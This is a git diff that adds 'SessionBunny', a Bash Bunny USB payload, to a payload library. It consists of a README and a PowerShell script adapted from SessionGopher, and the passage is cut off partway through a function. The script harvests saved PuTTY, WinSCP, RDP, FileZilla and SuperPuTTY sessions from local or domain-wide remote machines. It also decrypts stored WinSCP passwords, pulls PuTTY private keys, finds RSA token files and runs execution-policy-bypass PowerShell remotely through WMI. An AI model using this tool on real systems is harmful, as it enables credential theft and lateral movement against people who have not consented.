diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md new file mode 100644 index 00000000..5f35d397 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/README.md @@ -0,0 +1,22 @@ +**Title: SessionBunny** + +Author: 0iphor13 +Credit for SessionGopher: Brandon Arvanaghi + +Version: 1.0 + +**Instruction:** + +This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP, +Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. +After you recieve the information, save the items you are interested in simply on your BashBunny. + +# + +**Instruction:** + +Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Wait for the script to finish and decide what you wanna do with the information gathered +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) \ No newline at end of file diff --git a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 new file mode 100644 index 00000000..c7bd7818 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 @@ -0,0 +1,948 @@ +function Invoke-SessionBunny +{ +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $False)] + [String] + $Computername, + + [Parameter(Position= 1 , Mandatory = $False)] + [String] + $Credential, + + [Parameter(Position= 2 , Mandatory = $False)] + [Alias("iL")] + [String] + $Inputlist, + + [Parameter(Position = 3, Mandatory = $False)] + [Switch] + $AllDomain, + + [Parameter(Position = 4, Mandatory = $False)] + [Switch] + $Everything, + + [Parameter(Position = 5, Mandatory = $False)] + [Switch] + $ExcludeDC, + + [Parameter(Position = 6, Mandatory = $False)] + [Switch] + [Alias("o")] + $OutCSV, + + [Parameter(Position=8, Mandatory = $False)] + [String] + $OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."}) + ) + + Write-Output ' + o + o + o_ + / ". SessionGopher + ," _-" Bunny Edition (0iphor13) + ," m m + ..+ ) Brandon Arvanaghi + `m..m @arvanaghi | arvanaghi.com + ' + $ErrorActionPreference = "SilentlyContinue" + #clear error listing + $Error.clear() + if ($OutCSV) { + Write-Verbose "Creating directory $OutputDirectory." + New-Item -ItemType Directory $OutputDirectory | Out-Null + New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null + if ($Everything) { + New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null + } + } + + if ($Credential) { + $Credentials = Get-Credential -Credential $Credential + } + + # Value for HKEY_USERS hive + $HKU = 2147483651 + # Value for HKEY_LOCAL_MACHINE hive + $HKLM = 2147483650 + + $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" + $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" + $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" + + if ($Inputlist -or $AllDomain -or $ComputerName) { + + # Whether we read from an input file or query active directory + $Reader = "" + + if ($AllDomain) { + Write-Verbose "Getting member computers in the domain." + $Reader = GetComputersFromActiveDirectory + } elseif ($Inputlist) { + Write-Verbose "Reading the list of targets." + $Reader = Get-Content ((Resolve-Path $Inputlist).Path) + } elseif ($ComputerName) { + Write-Verbose "Setting target computer as $ComputerName." + $Reader = $ComputerName + } + + $optionalCreds = @{} + if ($Credentials) { + $optionalCreds['Credential'] = $Credentials + } + + foreach ($RemoteComputer in $Reader) { + + if ($AllDomain) { + # Extract just the name from the System.DirectoryServices.SearchResult object + $RemoteComputer = $RemoteComputer.Properties.name + } + if ($RemoteComputer) { + Write-Output "Digging on" $RemoteComputer"..." + + $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} + + foreach ($SID in $SIDs) { + + # Get the username for SID we discovered has saved sessions + $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} + $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") + + # Created for each user found. Contains all sessions information for that user. + $UserObject = New-Object PSObject + + <# + PuTTY: contains hostname and usernames + SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored + RDP: contains hostname and username of sessions + FileZilla: hostname, username, relevant protocol information, decoded passwords if stored + WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used + #> + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + + # Construct tool registry/filesystem paths from SID or username + $RDPPath = $SID + $RDPPathEnding + $PuTTYPath = $SID + $PuTTYPathEnding + $WinSCPPath = $SID + $WinSCPPathEnding + $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" + $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" + + $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds + $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds + $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds + $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + + # If any WinSCP saved sessions exist on this box... + if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved WinSCP sessions." + # Get all sessions + $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames + + foreach ($WinSCPSession in $WinSCPSessions) { + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = $WinSCPSession + + $Location = $WinSCPPath + "\" + $WinSCPSession + + $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue + $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue + + if ($WinSCPSessionObject.Password) { + + $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" + + $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue + + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + + } + + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For Each WinSCP Session + + if ($ArrayOfWinSCPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If path to WinSCP exists + + if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved PuTTY sessions." + # Get all sessions + $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames + + foreach ($PuTTYSession in $PuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $Location = $PuTTYPath + "\" + $PuTTYSession + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = $PuTTYSession + $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($ArrayOfPuTTYSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If PuTTY session exists + + if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved RDP sessions." + # Get all sessions + $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames + + foreach ($RDPSession in $RDPSessions) { + + $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $Location = $RDPPath + "\" + $RDPSession + + $RDPSessionObject.Source = $Source + $RDPSessionObject.Hostname = $RDPSession + $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue + + [void]$ArrayOfRDPSessions.Add($RDPSessionObject) + + } + + if ($ArrayOfRDPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Sessions" + $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If RDP sessions exist + + # If we find the SuperPuTTY Sessions.xml file where we would expect it + if ($SuperPuTTYPath.Name) { + Write-Verbose "Found SupePuTTY sessions.xml" + $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$SuperPuTTYXML = $FileContents + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + # If we find the FileZilla sitemanager.xml file where we would expect it + if ($FileZillaPath.Name) { + Write-Verbose "Found FileZilaa sitemanager.xml" + $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$FileZillaXML = $FileContents + (ProcessFileZillaFile $FileZillaXML) + + } # FileZilla + + } # for each SID + + if ($Everything) { + Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes." + $ArrayofPPKFiles = New-Object System.Collections.ArrayList + $ArrayofRDPFiles = New-Object System.Collections.ArrayList + $ArrayofsdtidFiles = New-Object System.Collections.ArrayList + + $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) + + (ProcessThoroughRemote $FilePathsFound) + + } + + + # Check if the error is access denied. + $ourerror = $error[0] + if ($ourerror.Exception.Message.Contains("Access is denied.")) { + Write-Warning "Access Denied on $RemoteComputer" + } elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) { + Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?" + } else { + Write-Debug "$($ourerror.Exception.Message)" + } + } + }# for each remote computer + # Else, we run SessionGopher locally + } else { + + Write-Output "Digging on"(Hostname)"..." + + # Aggregate all user hives in HKEY_USERS into a variable + $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} + + # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. + foreach($Hive in $UserHives) { + + # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. + $UserObject = New-Object PSObject + + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfPPKFiles = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPFiles = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + + $objUser = (GetMappedSID) + $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) + + $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value + + # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key + $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" + $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" + $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" + $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" + $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" + + if (Test-Path $FileZillaPath) { + + [xml]$FileZillaXML = Get-Content $FileZillaPath + (ProcessFileZillaFile $FileZillaXML) + + } + + if (Test-Path $SuperPuTTYPath) { + + [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + if (Test-Path $MicrosoftRDPPath) { + + # Aggregates all saved sessions from that user's RDP client + $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath + + (ProcessRDPLocal $AllRDPSessions) + + } # If (Test-Path MicrosoftRDPPath) + + if (Test-Path $WinSCPPath) { + + # Aggregates all saved sessions from that user's WinSCP client + $AllWinSCPSessions = Get-ChildItem $WinSCPPath + + (ProcessWinSCPLocal $AllWinSCPSessions) + + } # If (Test-Path WinSCPPath) + + if (Test-Path $PuTTYPath) { + + # Aggregates all saved sessions from that user's PuTTY client + $AllPuTTYSessions = Get-ChildItem $PuTTYPath + + (ProcessPuTTYLocal $AllPuTTYSessions) + + } # If (Test-Path PuTTYPath) + + } # For each Hive in UserHives + + # If run in Thorough Mode + if ($Everything) { + + # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem + $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList + $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList + $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList + + # All drives found on system in one variable + $AllDrives = Get-PSDrive + + (ProcessThoroughLocal $AllDrives) + + (ProcessPPKFile $PPKExtensionFilesINodes) + (ProcessRDPFile $RDPExtensionFilesINodes) + (ProcesssdtidFile $sdtidExtensionFilesINodes) + + } # If Thorough + + } # Else -- run SessionGopher locally + +} # Invoke-SessionGopher + +#################################################################################### +#################################################################################### +## Registry Querying Helper Functions +#################################################################################### +#################################################################################### + +# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive +function GetMappedSID { + + # If getting SID from remote computer + if ($Inputlist -or $ComputerName -or $AllDomain) { + # Get the username for SID we discovered has saved sessions + $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" + $Value = "ProfileImagePath" + + (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue + # Else, get local SIDs + } else { + # Converts user SID in HKEY_USERS to username + $SID = (Split-Path $Hive.Name -Leaf) + $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") + $objSID.Translate( [System.Security.Principal.NTAccount]) + } + +} + +function DownloadAndExtractFromRemoteRegistry($File) { + # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by + # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location + $fullregistrypath = "HKLM:\Software\Microsoft\DRM" + $registrydownname = "ReadMe" + $regpath = "SOFTWARE\Microsoft\DRM" + + # On remote system, save file to registry + Write-Verbose "Reading remote file and writing on remote registry" + $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' + $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' + + $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds + + # Sleeping to let remote system read and store file + Start-Sleep -s 15 + + $remote_reg = "" + + # Grab file from remote system's registry + $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds + + $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) + $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) + + # Removing Registry value from remote system + $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds + + $UTF8decoded + +} + +#################################################################################### +#################################################################################### +## File Processing Helper Functions +#################################################################################### +#################################################################################### + +function ProcessThoroughLocal($AllDrives) { + + foreach ($Drive in $AllDrives) { + # If the drive holds a filesystem + if ($Drive.Provider.Name -eq "FileSystem") { + $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue + foreach ($Dir in $Dirs) { + Switch ($Dir.Extension) { + ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} + ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} + ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} + } + } + } + } + +} + +function ProcessThoroughRemote($FilePathsFound) { + + foreach ($FilePath in $FilePathsFound) { + # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) + $EverythingObject = "" | Select-Object -Property Source,Path + $EverythingObject.Source = $RemoteComputer + + $Extension = [IO.Path]::GetExtension($FilePath.Name) + + if ($Extension -eq ".ppk") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofPPKFiles.Add($EverythingObject) + } elseif ($Extension -eq ".rdp") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofRDPFiles.Add($EverythingObject) + } elseif ($Extension -eq ".sdtid") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofsdtidFiles.Add($EverythingObject) + } + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Format-List | Out-String + } + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Format-List | Out-String + } + } + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Format-List | Out-String + } + + } + +} # ProcessThoroughRemote + +function ProcessPuTTYLocal($AllPuTTYSessions) { + + # For each PuTTY saved session, extract the information we want + foreach($Session in $AllPuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) + $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Format-List | Out-String + } + + # Add the array of PuTTY session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + +} # ProcessPuTTYLocal + +function ProcessRDPLocal($AllRDPSessions) { + + # For each RDP saved session, extract the information we want + foreach($Session in $AllRDPSessions) { + + $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $MicrosoftRDPSessionObject.Source = $Source + $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) + $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) + + } # For each Session in AllRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft Remote Desktop (RDP) Sessions" + $ArrayOfRDPSessions | Format-List | Out-String + } + + # Add the array of RDP session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + +} #ProcessRDPLocal + +function ProcessWinSCPLocal($AllWinSCPSessions) { + + # For each WinSCP saved session, extract the information we want + foreach($Session in $AllWinSCPSessions) { + + $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) + $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) + $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) + + if ($WinSCPSessionObject.Password) { + $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) + + # If the user is not using a master password, we can crack it: + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + # Else, the user is using a master password. We can't retrieve plaintext credentials for it. + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + } + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For each Session in AllWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Format-List | Out-String + } + + # Add the array of WinSCP session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + +} # ProcessWinSCPLocal + +function ProcesssdtidFile($sdtidExtensionFilesINodes) { + + foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { + + $sdtidFileObject = "" | Select-Object -Property "Source","Path" + + $sdtidFileObject."Source" = $Source + $sdtidFileObject."Path" = $Path + + [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) + + } + + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process sdtid File + +function ProcessRDPFile($RDPExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes + foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) { + + $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" + + $RDPFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object + $RDPFileObject."Path" = $Path + $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + + if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { + $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" + } else { + $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" + } + if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { + $RDPFileObject."Prompts for Credentials" = "No" + } else { + $RDPFileObject."Prompts for Credentials" = "Yes" + } + + [void]$ArrayOfRDPFiles.Add($RDPFileObject) + + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process RDP File + +function ProcessPPKFile($PPKExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes + foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { + + # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is + $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" + + $PPKFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object + $PPKFileObject."Path" = $Path + + $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} + $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} + $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} + + # Add the object we just created to the array of .ppk file objects + 